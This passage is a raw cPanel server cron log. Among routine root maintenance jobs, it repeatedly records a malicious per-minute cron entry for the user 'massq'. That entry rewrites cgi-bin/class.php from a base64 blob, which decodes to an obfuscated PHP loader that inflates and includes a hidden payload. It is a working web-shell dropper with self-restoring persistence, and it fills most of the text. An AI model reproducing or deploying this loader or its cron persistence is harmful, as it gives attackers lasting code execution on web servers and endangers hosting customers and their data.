tSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:17:01 server CROND[14671]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 12:17:01 server CROND[14672]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:18:01 server CROND[15042]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 12:18:01 server CROND[15043]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:18:01 server CROND[15044]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:19:01 server CROND[15405]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:19:01 server CROND[15406]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:19:01 server CROND[15407]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 12:20:01 server CROND[15936]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 12:20:01 server CROND[15946]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 12:20:01 server CROND[15947]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 12:20:01 server CROND[15949]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 12:20:01 server CROND[15951]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 12:20:01 server CROND[15952]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 12:20:01 server CROND[15950]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:20:01 server CROND[15953]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 12:20:01 server CROND[15948]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:21:01 server CROND[16776]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 12:21:01 server CROND[16777]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:21:01 server CROND[16778]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:22:01 server CROND[17145]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:22:01 server CROND[17146]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:22:01 server CROND[17147]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 12:23:01 server CROND[17513]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 12:23:01 server CROND[17514]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:23:01 server CROND[17518]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:24:01 server CROND[17877]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 12:24:01 server CROND[17878]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:24:01 server CROND[17879]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:25:01 server CROND[18362]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 12:25:01 server CROND[18363]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 12:25:01 server CROND[18366]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 12:25:01 server CROND[18369]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:25:01 server CROND[18371]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 12:25:01 server CROND[18368]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 12:25:01 server CROND[18367]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 12 12:25:01 server CROND[18370]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:26:01 server CROND[19213]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:26:01 server CROND[19214]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 12:26:01 server CROND[19215]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:27:01 server CROND[19592]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:27:01 server CROND[19593]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 12:27:01 server CROND[19595]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:27:01 server CROND[19594]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 12:28:01 server CROND[20035]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 12:28:01 server CROND[20036]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:28:01 server CROND[20037]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:29:01 server CROND[20494]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 12:29:01 server CROND[20495]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:29:01 server CROND[20496]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
